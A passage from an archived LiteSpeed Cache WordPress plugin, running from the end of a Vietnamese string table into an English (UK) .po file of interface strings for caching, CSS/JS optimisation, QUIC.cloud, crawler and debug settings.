giới hạn.Để quản lý các tùy chọn QUIC.cloud của bạn, hãy truy cập Bảng điều khiển QUIC.cloud.Để quản lý các tùy chọn QUIC.cloud của bạn, hãy truy cập cổng thông tin của nhà cung cấp dịch vụ lưu trữ.Để quản lý các tùy chọn QUIC.cloud của bạn, vui lòng liên hệ với nhà cung cấp dịch vụ lưu trữ của bạn.Để khớp với phần đầu, hãy thêm %s vào đầu mục.Để ngăn %s khỏi bộ nhớ đệm, hãy nhập chúng vào đây.Để tránh làm đầy dung lượng, cài đặt này sẽ TẮT khi mọi thứ đang hoạt động.Để ngẫu nhiên tên máy chủ lưu trữ CDN, hãy xác định nhiều tên máy chủ cho cùng một tài nguyên.Để kiểm tra giỏ hàng, hãy truy cập vào <a %s>Câu hỏi thường gặp</a>.Để sử dụng các chức năng lưu trữ, bạn phải có máy chủ web LiteSpeed hoặc đang sử dụng QUIC.cloud CDN.Công cụCông cụTổng sốTổng số dung lượng đã giảmTổng mức sử dụngTổng số hình ảnh được tối ưu hóa trong tháng nàyTrackbacks/PingbacksBình luận đã xóaBài đăng trong thùng rácDùng thử phiên bản GitHubTăng tốcCài đặt điều chỉnhTẮTBẬTBẬT để lưu các trang công khai cho người dùng đã đăng nhập và phục vụ Thanh quản trị và Biểu mẫu nhận xét thông qua các khối ESI. Hai khối này sẽ được mở khóa trừ khi được kích hoạt bên dưới.BẬT để kiểm soát Heartbeat trong trình chỉnh sửa giao diện quản trị.BẬT để kiểm soát Heartbeat trên giao diện quản trị.BẬT để kiểm soát Heartbeat trên giao diện người dùng.Bật tự động nâng cấpBật tùy chọn này lên để tự động cập nhật LiteSpeed Cache bất cứ lúc nào một phiên bản mới được phát hành. Nếu Tắt đi, bạn phải cập nhật thủ công như bình thường.BẬT tùy chọn này để tự động hiển thị tin tức mới nhất, bao gồm hotfix, bản phát hành mới, phiên bản beta có sẵn và chương trình khuyến mãi.Xem trước TweetTweet điều nàyNội tuyến UCSSDanh sách cho phép bộ chọn UCSSLoại trừ URI UCSSLoại trừ URIĐường dẫn URI chứa các chuỗi này sẽ KHÔNG được lưu vào bộ nhớ cache dưới dạng công khai.URLTìm kiếm URLDanh sách URL trong hàng đợi %s đang chờ cronKhông thể tự động thêm %1$s làm Bí danh miền cho miền chính %2$s do xung đột CDN tiềm ẩn.Không thể tự động thêm %1$s làm Bí danh miền cho miền chính %2$s.CSS Duy nhấtLỗi không xác địnhCập nhật %s ngay bây giờNâng cấpNâng cấp thành công.Sử dụngSử dụng %1$s trong %2$s để cho biết cookie này chưa được đặt.Sử dụng %1$s để bỏ qua UCSS cho các trang có loại trang là %2$s.Sử dụng %1$s để bỏ qua kiểm tra kích thước hình ảnh từ xa khi %2$s được BẬT.Sử dụng %1$s để tạo một UCSS duy nhất cho các trang có loại trang là %2$s trong khi các loại trang khác vẫn theo URL.Sử dụng chức năng %s API.Sử dụng CDN MappingSử dụng cài đặt quản trị mạngSử dụng tệp được tối ưu hóaSử dụng tệp gốcSử dụng cấu hình trang chínhSử dụng dịch vụ QUIC.cloud LQIP (Low Quality Image Placeholder) để tạo bản xem trước ảnh trong khi ảnh đó tải.Sử dụng dịch vụ trực tuyến QUIC.cloud để tạo CSS quan trọng và tải CSS còn lại không đồng bộ.Sử dụng dịch vụ trực tuyến QUIC.cloud để tạo CSS duy nhất.Sử dụng thư viện Web Font Loader để tải Google Fonts không đồng bộ trong khi vẫn giữ nguyên CSS khác.Sử dụng thiết lập sẵn được thiết kế chính thức của LiteSpeed để định cấu hình trang web của bạn chỉ bằng một cú nhấp chuột. Hãy thử các yếu tố cần thiết để lưu vào bộ nhớ cache không có rủi ro, tối ưu hóa extreme hoặc một cái gì đó ở giữa.Sử dụng chức năng bộ nhớ đệm đối tượng bên ngoài.Sử dụng kết nối giữ liên tục để tăng tốc độ hoạt động của bộ nhớ cache.Sử dụng commit GitHub Dev mới nhấtSử dụng bản cam kết Dev/Master GitHub mới nhấtSử dụng commit GitHub Master mới nhấtSử dụng phiên bản WordPress mới nhấtSử dụng hình ảnh gốc (chưa được tối ưu hóa) trên trang web của bạnSử dụng định dạng %1$s hoặc %2$s (phần tử là tùy chọn).Sử dụng phần này để chuyển đổi phiên bản plugin. Để thử nghiệm bản GitHub commit, hãy nhập URL commit vào khung bên dưới.Hữu ích cho hình ảnh trên màn hình đầu tiên gây ra CLS (một chỉ số Core Web Vitals).Tên đăng nhậpSử dụng phiên bản tệp được tối ưu hóa.VPIPhạm vi giá trịCác biến %s sẽ được thay thế bằng màu nền đã định cấu hình.Các biến %s sẽ được thay thế bằng các thuộc tính hình ảnh tương ứng.Cookie thay đổiNhóm khác nhauThay đổi cho giỏ hàng miniXem chi tiết %1$s phiên bản %2$sXem .htaccessXem trang trước khi lưu vào bộ nhớ đệmXem trang web trước khi tối ưu hóaHình ảnh khung nhìnTạo hình ảnh khung nhìnHình ảnh khung nhìnCron hình ảnh khung nhìnTruy cập vào diễn đàn hỗ trợ LSCWPTruy cập vào trang web trong khi đã đăng xuất.CẢNH BÁOCẢNH BÁO: Cookie đăng nhập trong .htaccess và cookie đăng nhập trong cơ sở dữ liệu không khớp.Đang chờĐang đợi để được thu thập thông tinBạn muốn kết nối với những người dùng LiteSpeed khác?Xem trạng thái của trình thu thập thông tinChúng tôi ổn. Không có bảng nào sử dụng công cụ MyISAM.Chúng tôi đang nỗ lực để cải thiện trải nghiệm dịch vụ trực tuyến của bạn. Dịch vụ này sẽ không có sẵn trong khi chúng tôi vẫn đang làm việc trên nó. Chúng tôi xin lỗi vì bất cứ sự bất tiện nào.Tệp WebP đã giảm %1$s (%2$s)WebP tiết kiệm %sThuộc tính WebP/AVIF để Thay ThếWebP/AVIF Cho srcset bổ sungChào mừng bạn đến với LiteSpeedMột nhóm là gì?Nhóm hình ảnh là gì?Khi khách truy cập di chuột qua liên kết trang, hãy tải trước trang đó. Điều này sẽ tăng tốc độ truy cập vào liên kết đó.Khi tắt bộ nhớ cache, tất cả các mục được lưu trong bộ nhớ cache cho trang web này sẽ bị xóa.Khi được bật, bộ nhớ cache sẽ tự động xóa khi bất kỳ plugin, chủ đề hoặc lõi WordPress nào được nâng cấp.Khi rút gọn HTML, đừng loại bỏ các bình luận khớp với một mẫu được chỉ định.Khi chuyển đổi định dạng, vui lòng %1$s hoặc %2$s để áp dụng lựa chọn mới này cho các hình ảnh đã được tối ưu hóa trước đó.Khi tùy chọn này được chuyển thành %s, thì nó sẽ tải Google Fonts một cách không đồng bộ.Khi bạn sử dụng Tải chậm, nó sẽ trì hoãn việc tải tất cả hình ảnh trên một trang.Ai nên sử dụng thiết lập sẵn này?Đã hỗ trợ Wildcard %1$s (khớp với số không hoặc nhiều ký tự). Ví dụ: để so khớp %2$s và %3$s, hãy sử dụng %4$s.Hỗ trợ ký tự đại diện %s.Với ESI (Bao gồm Edge Side), các trang có thể được cache cho người dùng đã đăng nhập.Với QUIC.cloud CDN được bật, bạn vẫn có thể nhìn thấy các tiêu đề bộ nhớ đệm từ máy chủ cục bộ của mình.Cài đặt WooCommerceKiểm soát chất lượng hình ảnh WordPressKhoảng thời gian hợp lệ của WordPress là %s giây.WpW: Cache ẩn danh so với Cache công khaiLưu trữ hàng nămHiện tại bạn đang sử dụng dịch vụ dưới dạng người dùng ẩn danh. Để quản lý các tùy chọn QUIC.cloud của bạn, hãy sử dụng nút bên dưới để tạo tài khoản và liên kết với Bảng điều khiển QUIC.cloud.Bạn chỉ có thể gõ một phần của tên miền.Bạn có thể liệt kê các cookie thay đổi của bên thứ ba tại đây.Bạn có thể nhanh chóng chuyển đổi giữa việc sử dụng các tệp hình ảnh gốc (phiên bản chưa được tối ưu hóa) và được tối ưu hóa. Nó sẽ ảnh hưởng đến tất cả các hình ảnh trên trang web của bạn, cả phiên bản thông thường và webp nếu có.Bạn có thể yêu cầu tối đa %s hình ảnh cùng một lúc.Bạn có thể biến shortcode thành các khối ESI.Bạn có thể sử dụng đoạn mã này %1$s trong %2$s để chỉ định đường dẫn tệp htaccess.Bạn không thể xóa vùng DNS này vì nó vẫn đang được sử dụng. Vui lòng cập nhật máy chủ tên miền, sau đó thử xóa vùng này lần nữa, nếu không trang web của bạn sẽ không thể truy cập được.Bạn có hình ảnh đang chờ được tải xuống. Vui lòng đợi quá trình tải xuống tự động hoàn tất hoặc tải xuống thủ công ngay bây giờ.Bạn có quá nhiều hình ảnh được yêu cầu, vui lòng thử lại sau vài phút.Bạn đã sử dụng tất cả hạn mức hàng ngày của bạn cho hôm nay.Bạn đã sử dụng tất cả hạn mức còn lại cho dịch vụ hiện tại trong tháng này.Bạn vừa mở khóa một chương trình khuyến mãi từ QUIC.cloud!Bạn phải sử dụng một trong những sản phẩm sau để đo thời gian tải trang:Bạn phải đặt %1$s thành %2$s trước khi sử dụng tính năng này.Bạn phải đặt %s trước khi sử dụng tính năng này.Bạn cần kích hoạt QC trước.Bạn cần thiết lập %1$s trước. Vui lòng sử dụng lệnh %2$s để thiết lập.Bạn cần đặt %s trong Cài đặt trước khi sử dụng trình thu thập dữ liệu.Bạn cần bật %s và hoàn tất tất cả quá trình tạo WebP để có kết quả tốt nhất.Bạn cần bật %s để có kết quả tốt nhất.Bạn sẽ không thể hoàn tác tối ưu hóa khi các bản sao lưu bị xóa!Bạn sẽ cần hoàn tất thiết lập %s để sử dụng các dịch vụ trực tuyến.Tên máy chủ hoặc địa chỉ IP của %s.Khóa / mã thông báo API của bạn được sử dụng để truy cập API %s.Địa chỉ email của bạn trên %s.IP của bạnỨng dụng của bạn đang chờ phê duyệt.Miền của bạn đã bị cấm sử dụng các dịch vụ của chúng tôi do vi phạm chính sách trước đó.Khóa miền của bạn đã bị đưa vào danh sách chặn tạm thời để ngăn chặn lạm dụng. Bạn có thể liên hệ với bộ phận hỗ trợ tại QUIC.cloud để tìm hiểu thêm.IP máy chủ của bạnTrang web của bạn đã được kết nối và sẵn sàng sử dụng Dịch vụ Trực tuyến QUIC.cloud.Web của bạn đã được kết nối và đang sử dụng Dịch vụ Trực tuyến QUIC.cloud với tư cách là một <strong>người dùng ẩn danh</strong>. Chức năng CDN và một số tính năng của dịch vụ tối ưu hóa không có sẵn cho người dùng ẩn danh. Liên kết đến QUIC.cloud để sử dụng CDN và tất cả các tính năng Dịch vụ Trực tuyến có sẵn.Không, hoặcdanh mụccookiesví dụ: Sử dụng %1$s hoặc %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationmới đâybất kể họ sống ở đâu.pixelscung cấp thêm thông tin ở đây để hỗ trợ nhóm LiteSpeed gỡ lỗi.ngay bây giờđang chạygiâythẻIP được phát hiện tự động có thể không chính xác nếu bạn có bộ IP gửi đi bổ sung hoặc bạn có nhiều IP được định cấu hình trên máy chủ của mình.không xác địnhtác nhân người dùnglitespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-en_GB.po000064400000437162151031165260020335 0ustar00# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in English (UK)
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-06-04 17:52:23+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: en_GB\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/dash/dashboard.tpl.php:384 tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54 tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr "Redetect"

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr "History"

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr "unknown"

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr "Extreme"

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr "Aggressive"

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr "Higher TTL"

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr "Essentials"

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr "Presets"

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr "Partner Benefits Provided by"

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr "LiteSpeed Logs"

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr "Crawler Log"

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr "Purge Log"

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr "Prevent writing log entries that include listed strings."

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr "View Site Before Cache"

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr "View Site Before Optimisation"

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr "Debug Helpers"

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr "Enable Viewport Images auto generation cron."

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr "This enables the page's initial screenful of imagery to be fully displayed without delay."

#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr "When you use Lazy Load, it will delay the loading of all images on a page."

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr "Use %1$s to bypass remote image dimension check when %2$s is ON."

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr "VPI"

#: tpl/general/settings.tpl.php:72 tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr "%s must be turned ON for this setting to work."

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr "Viewport Image"

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr "Mobile"

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr "Please thoroughly test each JS file you add to ensure it functions as expected."

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr "Please thoroughly test all items in %s to ensure they function as expected."

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr "Use %1$s to bypass UCSS for the pages which page type is %2$s."

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr "Filter %s available for UCSS per page type generation."

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr "Guest Mode failed to test."

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr "Guest Mode passed testing."

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr "Testing"

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr "Guest Mode testing result"

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr "Not blacklisted"

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr "Learn more about when this is needed"

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr "Cleaned all localised resource entries."

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr "View .htaccess"

#: tpl/toolbox/edit_htaccess.tpl.php:63 tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr "You can use this code %1$s in %2$s to specify the .htaccess file path."

#: tpl/toolbox/edit_htaccess.tpl.php:62 tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr "PHP Constant %s is supported."

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr ".htaccess Path"

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr "Only optimise pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr "Listed JS files or inline JS code will not be optimised by %s."

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the Admin Bar menu."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr "Delayed"

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr "Automatic generation of unique CSS is in the background via a cron-based queue."

#: tpl/page_optm/entry.tpl.php:18 tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr "HTML Settings"

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr "This option enables maximum optimisation for Guest Mode visitors."

#: tpl/dash/dashboard.tpl.php:54 tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520 tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624 tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712 tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800 tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr "More"

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr "Add Missing Sizes"

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr "Optimise for Guests Only"

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr "Guest Optimisation"

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr "Guest Mode"

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr "The current server is under heavy load."

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr "Please see %s for more details."

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr "This setting will regenerate crawler list and clear the disabled list!"

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr "%1$s %2$s files left in queue"

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr "Crawler disabled list is cleared! All crawlers are set to active! "

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr "Redetected node"

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
msgstr "No available Cloud Node after checked server load."

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr "Localisation Files"

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr "Purged!"

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr "Resources listed here will be copied and replaced with local URLs."

#: tpl/toolbox/beta_test.tpl.php:60
msgid "Use latest GitHub Master commit"
msgstr "Use latest GitHub Master commit"

#: tpl/toolbox/beta_test.tpl.php:56
msgid "Use latest GitHub Dev commit"
msgstr "Use latest GitHub Dev commit"

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr "No valid sitemap parsed for crawler."

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr "CSS Combine External and Inline"

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimise potential errors caused by CSS Combine."

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr "Minify CSS files and inline CSS code."

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr "Predefined list will also be combined w/ the above settings"

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr "Localisation"

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimise potential errors caused by JS Combine."

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr "Combine all local JS files into a single file."

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr "Listed JS files or inline JS code will not be deferred or delayed."

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr "JS Combine External and Inline"

#: src/admin-display.cls.php:795 tpl/banner/new_version.php:114
#: tpl/banner/score.php:142 tpl/banner/slack.php:49
msgid "Dismiss"
msgstr "Dismiss"

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr "The latest data file is"

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr "The list will be merged with the predefined nonces in your local data file."

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr "Combine CSS files and inline CSS code."

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr "Minify JS files and inline JS codes."

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr "LQIP Excludes"

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr "These images will not generate LQIP."

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr "Are you sure you want to reset all settings back to the default settings?"

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr "This option will remove all %s tags from HTML."

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr "Are you sure you want to clear all cloud nodes?"

#: src/lang.cls.php:174 tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr "Remove Noscript Tags"

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr "The site is not registered on QUIC.cloud."

#: src/error.cls.php:74 tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144 tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr "Click here to set."

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr "Localise Resources"

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr "Setting Up Custom Headers"

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr "This will delete all localised resources"

#: src/gui.cls.php:628 src/gui.cls.php:810 tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr "Localised Resources"

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr "Comments are supported. Start a line with a %s to turn it into a comment line."

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr "HTTPS sources only."

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr "Localise external resources."

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr "Localisation Settings"

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr "Use QUIC.cloud online service to generate unique CSS."

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr "Generate UCSS"

#: tpl/dash/dashboard.tpl.php:667 tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr "Unique CSS"

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr "LiteSpeed Report"

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr "Image Thumbnail Group Sizes"

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr "Ignore certain query strings when caching. (LSWS %s required)"

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr "For URLs with wildcards, there may be a delay in initiating scheduled purge."

#: tpl/cache/settings-purge.tpl.php:92
msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr "Serve Stale"

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr "One or more pulled images does not match with the notified image md5"

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr "Some optimised image file(s) have expired and were cleared."

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr "You have too many requested images, please try again in a few minutes."

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr "Pulled WebP image md5 does not match the notified WebP image md5."

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr "Read LiteSpeed Documentation"

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr "There is proceeding queue not pulled yet. Queue info: %s."

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr "Specify how long, in seconds, Gravatar files are cached."

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr "Cleared %1$s invalid images."

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr "LiteSpeed Cache General Settings"

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr "This will delete all cached Gravatar files"

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr "Prevent any debug log of listed pages."

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr "Only log listed pages."

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr "Specify the maximum size of the log file."

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr "To prevent filling up the disk, this setting should be OFF when everything is working."

#: tpl/toolbox/beta_test.tpl.php:80
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."

#: tpl/toolbox/beta_test.tpl.php:64 tpl/toolbox/beta_test.tpl.php:80
msgid "Use latest WordPress release version"
msgstr "Use latest WordPress release version"

#: tpl/toolbox/beta_test.tpl.php:64
msgid "OR"
msgstr "OR"

#: tpl/toolbox/beta_test.tpl.php:47
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr "Reset Settings"

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr "LiteSpeed Cache Toolbox"

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr "Beta Test"

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr "Log View"

#: tpl/toolbox/entry.tpl.php:33 tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr "Debug Settings"

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr "Turn ON to control heartbeat in back end editor."

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr "Turn ON to control heartbeat on back end."

#: tpl/toolbox/heartbeat.tpl.php:58 tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr "Set to %1$s to forbid heartbeat on %2$s."

